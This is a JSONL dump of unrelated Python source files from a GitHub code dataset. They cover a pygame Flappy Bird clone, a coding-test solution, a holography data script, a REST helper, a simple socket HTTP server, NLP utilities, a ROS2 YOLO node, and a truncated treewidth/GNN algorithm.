+{"seq_id":"40270036452","text":"# -*- coding: utf-8 -*-\r\nimport pygame\r\nimport random\r\n\r\n# Inicialização do pygame\r\npygame.init()\r\n\r\n# Tamanho e nome da janela\r\ntela = pygame.display.set_mode([700,497])\r\npygame.display.set_caption(\"FlapPyLadies\")\r\n\r\n# Frame por segundo\r\nclock = pygame.time.Clock()\r\n\r\n# Carrega imagens e efeitos sonoros\r\nimg_jogador = pygame.image.load('img/player.png')\r\nimg_obstaculo1 = pygame.image.load('img/img_obstaculo1.png')\r\nimg_obstaculo2 = pygame.image.load('img/img_obstaculo2.png')\r\nimg_fimDoJogo = pygame.image.load('img/gameover.png')\r\nimg_fundo1 = pygame.image.load('img/bg.jpg')\r\nimg_fundo2 = pygame.image.load('img/bg.jpg')\r\nimg_inicio = pygame.image.load('img/start.png')\r\nimg_logo = pygame.image.load('img/logoPython.png')\r\npulo = pygame.mixer.Sound('sounds/jump.wav')\r\ncolisao = pygame.mixer.Sound('sounds/explode.wav')\r\npulo.set_volume(0.1)\r\ncolisao.set_volume(0.1)\r\n\r\n# Funçoes para desenhar objetos na tela\r\ndef jogador(area_jogador):\r\n    #pygame.draw.rect(tela, [0,0,0], area_jogador)\r\n    tela.blit(img_jogador, area_jogador)\r\n\r\n#def obstaculos(obstaculo1, obstaculo2):\r\ndef obstaculos():\r\n    #pygame.draw.rect(tela, [0,255,0], obstaculo1)\r\n    #pygame.draw.rect(tela, [0,255,0], obstaculo2)\r\n    tela.blit(img_obstaculo1, [x_obstaculo, altura_obstaculo - 500])\r\n    tela.blit(img_obstaculo2, [x_obstaculo, altura_obstaculo + espaco])\r\n\r\ndef pontuacao(pontos):\r\n    font = pygame.font.Font('fonts/geo.ttf', 55)\r\n    text = font.render(str(pontos), True, [255,255,255])\r\n    tela.blit(text, [350,20])\r\n\r\n# Funçao para exibir a introduçao\r\ndef intro():\r\n    tela.fill([255, 255, 255])\r\n    tela.blit(img_logo, [40, 300])\r\n    tela.blit(img_inicio, [170, 50])\r\n    pygame.display.update()\r\n    pygame.time.wait(2000)\r\n\r\n# # # VARIAVEIS # # #\r\n# Janela esta aberta ou fechada\r\nfechada = False\r\n# Jogador\r\nx_jogador = 350 # Posiçao inicial\r\ny_jogador = 250\r\n# Velocidade inicial do jogador\r\nvelocidade_jogador = 0\r\n# Obstaculo\r\nx_obstaculo = 700 #localizaçao\r\nlargura_obstaculo = 70\r\naltura_obstaculo = random.randint(0, 350)\r\nespaco = 150\r\nvelocidade_obstaculo = 4\r\ncima_obstaculo = 0\r\nbaixo_obstaculo = 450\r\n# Pontuaçao\r\npontos = 0\r\n# Jogar novamente\r\ngameover = False\r\n# Imagem de fundo\r\nImg = 1320\r\nposImg = 0\r\n\r\nintro()\r\n\r\n# # # Loop do jogo # # #\r\nwhile not fechada:\r\n    \r\n    #Inicio FOR\r\n    # Reconhece eventos do jogador (mouse e teclado)\r\n    for event in pygame.event.get():\r\n        if event.type == pygame.QUIT:\r\n            fechada = True\r\n            # Apertar uma tecla\r\n        if event.type == pygame.KEYDOWN:\r\n            # Aperta Tecla \"espaço\"\r\n            if event.key == pygame.K_SPACE:\r\n                pulo.play()\r\n                velocidade_jogador = -10\r\n            # Solta Tecla \"espaço\"\r\n        if event.type == pygame.KEYUP:\r\n            if event.key == pygame.K_SPACE:\r\n                velocidade_jogador = 5\r\n\r\n    # # # BACKGROUND # # #\r\n    #tela.fill([255,255,255])\r\n    tela.blit(img_fundo1, (posImg, 0))\r\n    tela.blit(img_fundo2, (posImg + Img, 0))\r\n    posImg -= 2 # Velocidade\r\n    if posImg * -1 == Img: #Recomeçar\r\n        posImg = 0\r\n\r\n    # # # JOGADOR # # #\r\n    # Cria jogador (retangulo para colisao)\r\n    area_jogador = pygame.Rect(x_jogador, y_jogador, 45, 45)\r\n    # Desenha jogador\r\n    jogador(area_jogador)\r\n    # Aumenta +1 a posiçao y do jogador\r\n    y_jogador += velocidade_jogador\r\n\r\n    # # # OBSTACULO # # #\r\n    # Cria obstaculo\r\n    obstaculo1 = pygame.Rect(x_obstaculo, 0, largura_obstaculo, altura_obstaculo)\r\n    obstaculo2 = pygame.Rect(x_obstaculo, (altura_obstaculo + espaco), largura_obstaculo, altura_obstaculo + 500)\r\n    # Desenha obstaculo\r\n    #obstaculos(obstaculo1, obstaculo2)\r\n    obstaculos()\r\n    # Decrementa a posição x do obstaculo \r\n    x_obstaculo -= velocidade_obstaculo\r\n    # Cria mais obstaculos\r\n    if x_obstaculo < -60:\r\n        x_obstaculo = 700\r\n        altura_obstaculo = random.randint(0, 350)\r\n\r\n    # # # PONTUAÇÃO # # #\r\n    # Desenha pontos\r\n    pontuacao(pontos)\r\n    # Conta pontos\r\n    if x_jogador == x_obstaculo + largura_obstaculo:\r\n        pontos += 1\r\n\r\n    # # # COLISAO # # #\r\n    if (y_jogador > baixo_obstaculo or y_jogador < cima_obstaculo):\r\n        colisao.play()\r\n        velocidade_jogador = 0\r\n        velocidade_obstaculo = 0\r\n        gameover = True\r\n\r\n    if area_jogador.colliderect(obstaculo1) or area_jogador.colliderect(obstaculo2):\r\n        colisao.play()\r\n        velocidade_jogador = 0\r\n        velocidade_obstaculo = 0\r\n        gameover = True\r\n\r\n    # Atualiza o fundo\r\n    pygame.display.flip()\r\n    clock.tick(60)\r\n\r\n    # # # JOGAR NOVAMENTE # # #\r\n    while gameover:\r\n        pygame.time.wait(300)\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                fechada = True\r\n                gameover = False\r\n            # Apertar uma tecla\r\n            if event.type == pygame.KEYDOWN:\r\n                # Aperta Tecla \"espaço\"\r\n                if event.key == pygame.K_SPACE:\r\n                    # Jogador\r\n                    x_jogador = 350 # Posiçao inicial\r\n                    y_jogador = 250\r\n                    # Velocidade inicial do jogador\r\n                    velocidade_jogador = 0\r\n                    # Obstaculo\r\n                    x_obstaculo = 700 #localizaçao\r\n                    altura_obstaculo = random.randint(0, 350)\r\n                    velocidade_obstaculo = 4\r\n                    # Pontuaçao\r\n                    pontos = 0\r\n                    # Jogar novamente\r\n                    gameover = False\r\n\r\n        # Imagem game over\r\n        tela.fill([255,255,255])\r\n        tela.blit(img_fimDoJogo, (175,20))\r\n        font = pygame.font.Font('fonts/geo.ttf', 40)\r\n        text = font.render(str(pontos), True, [238,37,79])\r\n        tela.blit(text, [410,43])\r\n        pygame.display.flip()\r\n\r\npygame.quit()\r\n","repo_name":"wellraam/FlapPyLadies","sub_path":"flappyladies.py","file_name":"flappyladies.py","file_ext":"py","file_size_in_byte":5847,"program_lang":"python","lang":"pt","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"19888691886","text":"import re\ndef solution(new_id):\n\n    id = new_id.lower()\n\n    #2단계 - 알파벳소문자, 숫자, -,_,. 제외 제거\n    id = re.sub('[^a-z0-9\\-_.]', '', id)\n\n    #3단계\n    id = re.sub('\\.+','.',id)\n    #4단계\n    id = re.sub('^[.]|[.]$','',id)\n    #5단계, 6단계\n    id = 'a' if len(id)==0 else id[:15]\n    id = re.sub('^[.]|[.]$','',id)\n    #7단계\n    id = id if len(id)>2 else id + ''.join([id[-1] for i in range(3-len(id))])\n\n\n    return id","repo_name":"chriss060/pythonAlgorithm","sub_path":"신규아이디추천.py","file_name":"신규아이디추천.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8668720764","text":"import h5py\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\n# parameters\nw = 2448\nh = 2048\nnum_file = 100\n\nout_mat = np.zeros((num_file, 1024, 1024, 2))\n\n# hdf5 file open\nf = h5py.File('data100.h5', 'w')\n\nfor i in range(num_file):\n    # num = \"d%d\" %(i+1)\n    fname = \"test21-%d.raw\" % (i + 150)\n    with open(fname, 'r') as raw:\n        img = np.fromfile(raw, np.dtype('u1'), w * h).reshape(h, w)\n        img = img[:, (w - h) // 2: (w + h) // 2]  # crop\n        img = np.reshape(img, [1, 2048, 2048, 1])\n\n    # conv\n    k1 = tf.constant([[1, 0], [0, -1]])\n    k1 = tf.reshape(k1, [2, 2, 1, 1])\n    k2 = tf.constant([[0, 1], [-1, 0]])\n    k2 = tf.reshape(k2, [2, 2, 1, 1])\n\n    # real part\n    img_r = tf.nn.conv2d(img, k1, strides=[1, 2, 2, 1], padding=\"VALID\")\n    img_r = np.reshape(img_r, [1024, 1024])\n    # imag part\n    img_i = tf.nn.conv2d(img, k2, strides=[1, 2, 2, 1], padding=\"VALID\")\n    img_i = np.reshape(img_i, [1024, 1024])\n\n    # complex img\n    ch = img_r + 1j * img_i\n\n    # fourier transform\n    fftimg = np.fft.fftshift(np.fft.fft2(np.fft.fftshift(ch)))\n\n    # output matrix\n    outimg = np.zeros((1024, 1024, 2))\n    outimg[:, :, 0] = np.real(fftimg)\n    outimg[:, :, 1] = np.imag(fftimg)\n\n    out_mat[i, :, :, :] = outimg\n\nf.create_dataset('data', data=out_mat)\n\nf.close()\n\n# read data\nx_data = tf.keras.utils.HDF5Matrix('data100.h5', 'data')\nprint(x_data.shape)","repo_name":"robin9804/Deep_HOLO","sub_path":"data/getdataset.py","file_name":"getdataset.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"19072311795","text":"from rest_framework import status\nfrom rest_framework.response import Response\n\n\ndef add_or_del_obj(pk, request, param, serializer_c):\n    obj_bool = param.filter(pk=pk).exists()\n    if request.method == 'DELETE' and obj_bool:\n        param.clear()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n    if request.method == 'POST' and not obj_bool:\n        param.add(pk)\n        serializer = serializer_c(\n            param.get(pk=pk),\n            context={'request': request}\n        )\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\n    return Response(status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"photometer/foodgram-project-react","sub_path":"backend/recipes/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1631882466","text":"import socket as socket\n\nHOST = '127.0.0.1'\nPORT = 5001\nMAX_PENDING = 5\nMAX_LINE = 256\nMAX_SEND_LINE = 1024\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.bind((HOST, PORT))\n    s.listen(MAX_PENDING)\n    while True:\n        connection, address = s.accept()\n        with connection:\n            print('Connected with:', address, \"\\n\")\n            while True:\n                data = connection.recv(MAX_LINE)\n                if not data:   \n                    break\n\n                decodeData = data.decode()\n                print(\"Request: \", decodeData)\n\n                [HTTPmethod, filePath, httpVersion, host, hostName,\n                *others] = decodeData.split()\n\n                filePath = filePath.split(\"/\")[1]\n\n                if (HTTPmethod != \"GET\") or (httpVersion != \"HTTP/1.1\"):\n                    print(\"Erro\")\n                    connection.sendall(str.encode(\"Error\"))\n                    break\n\n                address = socket.gethostbyname(hostName.split(':')[0])\n\n                try:\n                    with open(filePath, mode='rb') as file:  # b is important -> binary\n                        fileContent = file.read()\n\n                    message = \"HTTP/1.1 200 OK\\nContent-Length: {fileLength}\\nContent-Type: text\\n\\n\".format(\n                    fileLength=len(fileContent))\n                    connection.send(str.encode(message), MAX_SEND_LINE)\n                    connection.sendall(fileContent, MAX_SEND_LINE)\n                    file.close()\n                    break\n                except:\n                    errorMessage = \"HTTP/1.1 400 ERRO\\n\\n\"\n                    connection.send(str.encode(errorMessage), MAX_SEND_LINE)\n                    file.close()\n                    break\n            connection.close()\n","repo_name":"vhenrique21/cliente-servidor-python","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1341015463","text":"import json\nimport numpy as np\nfrom typing import List, Tuple, Dict\n\nfrom nltk.tokenize import word_tokenize, wordpunct_tokenize\nfrom nltk.corpus import stopwords\n\n\n# Set of stop words\nstop_words = set(stopwords.words(\"english\"))\n\n\ndef preprocess_text(text: str) -> str:\n    \"\"\"\n    Preprocesses the given text by tokenizing it, converting it to lowercase,\n    removing non-alphanumeric tokens, and filtering out stop words.\n\n    Parameters:\n        text (str): The text to be preprocessed.\n\n    Returns:\n        str: The preprocessed text.\n    \"\"\"\n    tokens = word_tokenize(text.lower())\n    filtered_tokens = [\n        token for token in tokens if token.isalnum() and token not in stop_words\n    ]\n    return \" \".join(filtered_tokens)\n\n\ndef bag_of_words(\n    processed_sentence: str, all_patterns: List[str], all_patterns_dict: Dict[str, int]\n) -> List[float]:\n    \"\"\"\n    Generate a bag-of-words representation of a processed sentence.\n\n    Parameters:\n        processed_sentence (str): The processed sentence to generate the bag-of-words representation for.\n        all_patterns (List[str]): A list of all possible patterns.\n        all_patterns_dict (Dict[str, int]): A dictionary mapping each pattern to its index in the bag-of-words representation.\n\n    Returns:\n        List[int]: The bag-of-words representation of the processed sentence.\n    \"\"\"\n    tokenized_sentence = [w for w in processed_sentence.split(\" \")]\n    bag = np.zeros(len(set(all_patterns)), dtype=np.float32)\n\n    for w in tokenized_sentence:\n        if w in all_patterns:\n            bag[all_patterns_dict[w]] = 1.0\n\n    return bag\n\n\ndef processDataSet(\n    Data: Dict[str, List]\n) -> Tuple[List[str], List[str], Tuple[str, str]]:\n    \"\"\"\n    Generates a processed dataset based on the given input data.\n\n    Args:\n        Data (Dict[str, List]): The input data containing questions and keywords.\n\n    Returns:\n        Tuple[List[str], List[str], Tuple[str, str]]: A tuple containing the following:\n            - tags: A list of tags extracted from the input data.\n            - all_patterns: A list of all the patterns extracted from the input data.\n            - xy: A list of tuples containing the pattern and its corresponding tag.\n\n    \"\"\"\n    tags = []\n    all_patterns = []\n    xy = []\n\n    for question in Data[\"questions\"]:\n        tag = question[\"tag\"]\n        tags.append(tag)\n\n        for pattern in question[\"keywords\"]:\n            all_patterns.append(pattern)\n            xy.append((pattern, tag))\n\n    return tags, all_patterns, xy\n\n\ndef stringTransform(\n    text: str, all_patterns: List[str], all_patterns_dict: Dict[str, int]\n) -> List[float]:\n    \"\"\"\n    Generates a bag-of-words representation of a given text using a list of patterns.\n\n    Args:\n        text (str): The input text to be transformed.\n        all_patterns (list): A list containing all the patterns to be used for the transformation.\n        all_patterns_dict (Dict[str, int]): A dictionary mapping each pattern to its index in the bag-of-words representation.\n\n\n    Returns:\n        list of float: The bag-of-words representation of the input text.\n    \"\"\"\n    n_text = preprocess_text(text)\n    b_of_w = np.array([bag_of_words(text, all_patterns, all_patterns_dict)])\n\n    return b_of_w\n\n\ndef generate_XY(\n    data: Tuple[str, str], all_patterns: List[str], all_patterns_dict: Dict[str, int]\n) -> Tuple[List[float], List[str]]:\n    \"\"\"\n    Generate sequences for X and Y based on the given data and patterns.\n\n    Args:\n        data (Tuple[str, str]): A tuple containing two strings representing the data.\n        all_patterns (List[str]): A list of strings representing all the patterns.\n        all_patterns_dict (Dict[str, int]): A dictionary mapping each pattern to its index in the bag-of-words representation.\n\n\n    Returns:\n        Tuple[List[float], List[str]]: A tuple containing two lists, where the first list\n            contains the generated sequences for X and the second list contains the\n            corresponding sequences for Y.\n    \"\"\"\n    sequences_x = []\n    sequences_y = []\n\n    for pattern in data:\n        sequences_x.append(bag_of_words(pattern[0], all_patterns, all_patterns_dict))\n        sequences_y.append(pattern[1])\n\n    return sequences_x, sequences_y\n","repo_name":"NextGen-Techies/Tag-Recommender","sub_path":"Utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"44683624247","text":"#!/usr/bin/env python3\n\nimport cv2\nimport torch\nimport numpy as np\nimport pandas as pd\nimport time\n\n# import pyrealsense2 as rs2\nfrom cv_bridge import CvBridge                      \n\nimport rclpy\nimport sys\nimport os\n\nfrom rclpy.node import Node\nfrom rclpy.qos import QoSProfile, QoSReliabilityPolicy, QoSHistoryPolicy\nfrom sensor_msgs.msg import Image\nfrom rclpy.executors import MultiThreadedExecutor\n#import string msg\nfrom std_msgs.msg import String\n\nimage = np.zeros((720, 1280, 3), np.uint8)\nimage_changed = False\n\nclass Subscriber(Node):\n    def __init__(self):\n        super().__init__('subscriber')\n        print('subscriber is started')\n\n        # profile = rclpy.qos.qos_profile_sensor_data\n        # profile = QoSProfile(  depth=1, reliability=QoSReliabilityPolicy.RMW_QOS_POLICY_RELIABILITY_BEST_EFFORT,history=QoSHistoryPolicy.RMW_QOS_POLICY_HISTORY_KEEP_LAST)\n        profile = QoSProfile(  depth=1, reliability=QoSReliabilityPolicy.RMW_QOS_POLICY_RELIABILITY_RELIABLE,history=QoSHistoryPolicy.RMW_QOS_POLICY_HISTORY_KEEP_LAST)\n\n        self.subscription = self.create_subscription(\n            Image,\n            '/camera/color/image_raw',\n            self.listener_callback,\n            profile)\n        self.br = CvBridge()\n\n    def listener_callback(self, msg):\n        global image , image_changed\n        image = self.br.imgmsg_to_cv2(msg, \"bgr8\")\n        image_changed = True\n        \n\nclass DummyNode(Node):\n    def __init__(self):\n        name = 'display'\n        super().__init__(name)\n        print(name, 'is started')\n        self.hz_update = 20\n        self.timer = self.create_timer(1.0 / self.hz_update, self.timer_callback)\n        self.current_time = self.get_clock().now()\n        self.model = torch.hub.load('ultralytics/yolov5', 'yolov5n')\n        print('init done')\n\n    def timer_callback(self):\n        global image, image_changed\n        if image_changed:\n            print('receive image fps: ', 1.0 / (self.get_clock().now().nanoseconds - self.current_time.nanoseconds) * 1e9)\n            self.current_time = self.get_clock().now()\n            original_image_shape = image.shape\n            size = (426, 240)\n            self.image = cv2.resize(image, size)\n            results = self.model(self.image)\n            frame_result = np.squeeze(results.render())\n            frame_result = cv2.cvtColor(frame_result, cv2.COLOR_RGB2BGR)\n            self.image_result = cv2.resize(frame_result, (original_image_shape[1], original_image_shape[0]))\n            \n            df = pd.DataFrame(results.pandas().xyxy[0])\n            df['xmin'] = df['xmin']*original_image_shape[1]/size[0]\n            df['xmax'] = df['xmax']*original_image_shape[1]/size[0]\n            df['ymin'] = df['ymin']*original_image_shape[0]/size[1]\n            df['ymax'] = df['ymax']*original_image_shape[0]/size[1]\n            print(df)\n\n\n            cv2.imshow('result', self.image_result)\n            cv2.imshow('image', self.image)\n            cv2.waitKey(1)\n            image_changed = False\n\ndef main(args=None):\n    rclpy.init(args=args)\n    node = DummyNode()\n    try:\n        node_1 = DummyNode()\n        node_2 = Subscriber()\n        executor = MultiThreadedExecutor(num_threads=4)\n        executor.add_node(node_1)\n        executor.add_node(node_2)\n        try:\n            executor.spin()\n        finally:\n            executor.shutdown()\n            node_1.destroy_node()\n            node_2.destroy_node()\n    finally:\n        rclpy.shutdown()\n\nif __name__=='__main__':\n    main()\n","repo_name":"pound03/FRA361-ROBOTICS-STUDIO-IV-OPEN-TOPICS","sub_path":"linux/ref_code/object/scripts/detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25824362502","text":"import argparse\nimport time\nimport timeout_decorator\nimport pickle\n\nimport chainer\nimport chainer.functions as F\nimport networkx as nx\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport sklearn.metrics\nimport seaborn as sns\n\nimport util\nfrom gnn import GNN\n\n\ndef int_set(subset):\n    \"\"\"\n    This function transforms subset into corresponding integer representation.\n\n    Parameters\n    ----------\n    subset : set\n        The subset you want to transform.\n\n    Returns\n    -------\n    representation : int\n        The integer representation of a given subset.\n    \"\"\"\n    representation = 0\n    for i in subset:\n        representation += (1 << i)\n\n    return representation\n\n\ndef set_str(subset, v):\n    \"\"\"\n    This function transforms a subset and a vertex into corresponding string representation.\n\n    Parameters\n    ----------\n    subset : set\n        The subset you want to transform.\n    v : int\n        The vertex you want to transform.\n\n    Returns\n    -------\n    representation : string\n        The string representation of a given subset and a given vertex.\n    \"\"\"\n    return str(int_set(subset)) + \" \" + str(v)\n\n\ndef Q(G, S, v):\n    \"\"\"\n    This function calculates Q(S, v) = {w ∈ V − S − {v} | there is a path from v to w in G[S ∪ {v, w}]}.\n    The time complexity of this function is O(n + m) time.\n\n    Parameters\n    ----------\n    G : Graph object\n        entire graph\n    S : set\n        a subset of vertices\n    v : int\n        vertex\n\n    Returns\n    -------\n    {w ∈ V − S − {v} | there is a path from v to w in G[S ∪ {v, w}]} : int\n        The string representation of a given subset and a given vertex.\n    \"\"\"\n    cnt = 0\n    induce_V = S\n    induce_V.add(v)\n\n    # initialize union find tree\n    uf = UnionFind(len(G.nodes))\n\n    # calc connected component\n    for edge in G.edges:\n        (source, sink) = edge\n        if source in induce_V and sink in induce_V:\n            uf.Unite(source, sink)\n\n    # enum paths\n    for vertex in (set(G.nodes) - S - set([v])):\n        # v and w is same connected component?\n        for neighbor in G[vertex]:\n            if uf.isSameGroup(v, neighbor):\n                cnt += 1\n                break\n\n    return cnt\n\n\nclass UnionFind():\n    '''\n        The implementation of Disjoint-set data structure(as known as Union-Find tree)\n    '''\n    def __init__(self, n):\n        self.n = n\n        self.root = [-1]*(n+1)\n        self.rnk = [0]*(n+1)\n\n    def Find_Root(self, x):\n        if(self.root[x] < 0):\n            return x\n        else:\n            self.root[x] = self.Find_Root(self.root[x])\n            return self.root[x]\n\n    def Unite(self, x, y):\n        x = self.Find_Root(x)\n        y = self.Find_Root(y)\n        if(x == y):\n            return\n        elif(self.rnk[x] > self.rnk[y]):\n            self.root[x] += self.root[y]\n            self.root[y] = x\n\n        else:\n            self.root[y] += self.root[x]\n            self.root[x] = y\n            if(self.rnk[x] == self.rnk[y]):\n                self.rnk[y] += 1\n\n    def isSameGroup(self, x, y):\n        return self.Find_Root(x) == self.Find_Root(y)\n\n\nclass TreewidthAlgorithm():\n    \"\"\"\n    A class for algorithms calculates treewidth.\n    The attributes in this class have some\n\n    Attributes\n    ----------\n    dp_S : set\n        memorize the result of TWCheck(G, S)\n    dp_Q : set\n        memorize the result of Q(G, S, v)\n    bound : string\n        use upper-prune or lower-prune or both\n    prune_num : int\n        memorize the number of pruned search state\n    func_call_num : int\n        memorize the number of function calls\n    eval_GNN_time : float\n        memorize the time of evaluation GNN\n    \"\"\"\n    def __init__(self, prune):\n        self.dp_S = {}\n        self.dp_Q = {}\n        self.prune = prune\n        self.prune_num = 0\n        self.func_call_num = 0\n        self.eval_GNN_time = 0\n\n    def initialize(self):\n        \"\"\"\n        This method is called in each opt to initialize dp_S\n        \"\"\"\n        if self.prune == \"upper\":\n            # preserve true\n            new_S = {}\n            for k, v in self.dp_S.items():\n                if v:\n                    new_S[k] = v\n            self.dp_S = new_S\n\n        elif self.prune == \"lower\":\n            # preserve false\n            new_S = {}\n            for k, v in self.dp_S.items():\n                if not v:\n                    new_S[k] = v\n            self.dp_S = new_S\n        else:\n            # preserve true\n            new_S = {}\n            for k, v in self.dp_S.items():\n                if v:\n                    new_S[k] = v\n            self.dp_S = new_S\n\n    def Q(self, G, S, v):\n        '''\n        This method calculates Q(S, v) = {w ∈ V − S − {v} | there is a path from v to w in G[S ∪ {v, w}]}.\n        The time complexity of this function is O(n + m) time. This method uses dp_Q.\n\n        Parameters\n        ----------\n        G : Graph object\n            entire graph\n        S : set\n            a subset of vertices\n        v : int\n            vertex\n\n        Returns\n        -------\n        {w ∈ V − S − {v} | there is a path from v to w in G[S ∪ {v, w}]} : int\n            The string representation of a given subset and a given vertex.\n        '''\n        if set_str(S, v) in self.dp_Q:\n            return self.dp_Q[set_str(S, v)]\n\n        cnt = 0\n        induce_V = S\n        induce_V.add(v)\n\n        # initialize union find tree\n        uf = UnionFind(len(G.nodes))\n\n        # calc connected component\n        for edge in G.edges:\n            (source, sink) = edge\n            if source in induce_V and sink in induce_V:\n                uf.Unite(source, sink)\n\n        # enum paths\n        for vertex in (set(G.nodes) - S - set([v])):\n            # v and w is same connected component?\n            for neighbor in G[vertex]:\n                if uf.isSameGroup(v, neighbor):\n                    cnt += 1\n                    break\n\n        self.dp_Q[set_str(S, v)] = cnt\n        return cnt\n\n    def calc_treewidth_recursive(self, G, S, opt):\n        \"\"\"\n        This method judges whether G[S] has treewidth at most opt by using recursive algorithm.\n        This method uses dp_S to reduce computational complexity.\n\n        Parameters\n        ----------\n        G : Graph object\n            entire graph\n        S : set\n            a subset of vertices\n        opt : int\n            a value to judge\n\n        Returns\n        -------\n        Result : boolean\n            whether the given graph has treewidth at most opt\n        \"\"\"\n        self.func_call_num += 1\n\n        if len(S) == 0:\n            return True\n\n        if len(S) == 1:\n            return self.Q(G, set(), S.pop()) <= opt\n\n        if int_set(S) in self.dp_S:\n            return self.dp_S[int_set(S)]\n\n        res = False\n\n        for vertex in S:\n            Qval_check = self.Q(G, S - set([vertex]), vertex) <= opt\n            if Qval_check:\n                res = (res or self.calc_treewidth_recursive(G, S - set([vertex]), opt))\n            if res:\n                break\n\n        self.dp_S[int_set(S)] = res\n        return res\n\n    def calc_treewidth_with_GNN(self, G, S, opt, model, prob_bound):\n        \"\"\"\n        This method judges whether G[S] has treewidth at most opt by using recursive algorithm.\n        This method uses dp_S to reduce computational complexity.\n        And this method also uses GNN to reduce the number of function calls.\n\n        Parameters\n        ----------\n        G : Graph object\n            entire graph\n        S : set\n            a subset of vertices\n        opt : int\n            a value to judge\n        model : GNN object\n            GNN model used in this method\n        prob_bound : float\n            The threshold of probability used in GNN-pruning\n\n        Returns\n        -------\n        Result : boolean\n            whether the given graph has treewidth at most opt\n        \"\"\"\n        self.func_call_num += 1\n\n        if len(S) == 0:\n            return True\n\n        if len(S) == 1:\n            return self.Q(G.g, set(), S.pop()) <= opt\n\n        if int_set(S) in self.dp_S:\n            return self.dp_S[int_set(S)]\n\n        # check whether we should branch from S using evaluation of tw(G[S])\n        ev_st = time.time()\n        # make the induced graph\n        tmp_G = nx.relabel.convert_node_labels_to_integers(G.g.subgraph(S))\n        induce_G = util.GraphData.nx_to_graph(tmp_G, \"binary\")\n\n        if induce_G.g.number_of_edges() > 1:\n            # predict the treewidth\n            with chainer.using_config('train', False), chainer.using_config('enable_backprop', False):\n                pred = model.predictor([induce_G])\n                prob = F.max(F.softmax(pred), axis=1).array[0]\n                prediction = F.argmax(F.softmax(pred), axis=1).array[0]\n\n            if prob > prob_bound:\n                # use the predition\n                if prediction == 0 and 2 * opt < induce_G.g.number_of_nodes() and (self.prune == \"upper\" or self.prune == \"both\"):\n                    # upper-prune\n                    self.prune_num += 1\n                    self.dp_S[int_set(S)] = False\n                    self.eval_GNN_time += time.time() - ev_st\n                    return False\n                if prediction == 1 and 2 * opt > induce_G.g.number_of_nodes() and (self.prune == \"lower\" or self.prune == \"both\"):\n                    # lower-prune\n                    self.prune_num += 1\n                    self.dp_S[int_set(S)] = True\n                    self.eval_GNN_time += time.time() - ev_st\n                    return True\n\n        # memorize GNN evaluation time\n        self.eval_GNN_time += time.time() - ev_st\n\n        # branch from this state\n        res = False\n        for vertex in S:\n            Qval_check = self.Q(G.g, S - set([vertex]), vertex) <= opt\n            if Qval_check:\n                res = (res or (self.calc_treewidth_with_GNN(G, S - set([vertex]), opt, model, prob_bound)))\n            if res:\n                break\n\n        self.dp_S[int_set(S)] = res\n        return res\n\n\n@timeout_decorator.timeout(600)\ndef test(eval_graph, model, prob_bound, prune):\n    calc_GNN_tw = TreewidthAlgorithm(prune)\n\n    start = time.time()\n    if prune == \"lower\":\n        # calculate lower bound by Lower-Prune with Upper-Calculation\n        for opt in range(eval_graph.g.number_of_nodes() - 1, 0, -1):\n            GNN_tw = calc_GNN_tw.calc_treewidth_with_GNN(eval_graph, eval_graph.g.nodes, opt, model, prob_bound)\n            if not GNN_tw:\n                break\n            calc_GNN_tw.initialize()\n\n    elif prune == \"upper\":\n        # calculate upper bound by Upper-Prune with Lower-Calculation\n        for opt in range(1, eval_graph.g.number_of_nodes()):\n            GNN_tw = calc_GNN_tw.calc_treewidth_with_GNN(eval_graph, eval_graph.g.nodes, opt, model, prob_bound)\n            if GNN_tw:\n                break\n            calc_GNN_tw.initialize()\n\n    else:\n        # calculate predicional treewidth by Both Pruning with Lower-Calculation\n        for opt in range(1, eval_graph.g.number_of_nodes()):\n            GNN_tw = calc_GNN_tw.calc_treewidth_with_GNN(eval_graph, eval_graph.g.nodes, opt, model, prob_bound)\n            if GNN_tw:\n                break\n            calc_GNN_tw.initialize()\n\n    end = time.time()\n    return (end - start), opt + (1 if prune == \"lower\" else 0), (calc_GNN_tw.prune_num), calc_GNN_tw.func_call_num, calc_GNN_tw.eval_GNN_time\n\n\n@timeout_decorator.timeout(600)\ndef ordinaryDP(eval_graph):\n    calc_DP_tw = TreewidthAlgorithm(\"existAlg\")\n    start = time.time()\n    for opt in range(1, eval_graph.g.number_of_nodes()):\n        DP_tw = calc_DP_tw.calc_treewidth_DP_recursive(eval_graph.g, eval_graph.g.nodes, opt)\n        if DP_tw:\n            break\n        calc_DP_tw.initialize()\n    end = time.time()\n    return end - start, opt, calc_DP_tw.func_call_num\n\n\ndef approach_1(args):\n    device = chainer.get_device(args.device)\n\n    # load the trained model, model attributes and graph dataset\n    with open('{}_stat'.format(args.model_name), mode='rb') as f:\n        model_args = pickle.load(f)\n\n    dataset = util.GraphData(\"mixed\", model_args.feat_init_method, \"Regression\", args.data_num, device)\n\n    model = chainer.links.Classifier(GNN(model_args.num_layers, model_args.num_mlp_layers, dataset.graphs[0].node_features.shape[1],\n                                         model_args.hidden_dim, 2, model_args.final_dropout, model_args.graph_pooling_type,\n                                         model_args.neighbor_pooling_type, model_args.task_type))\n    chainer.serializers.load_npz(args.model_name, model)\n\n    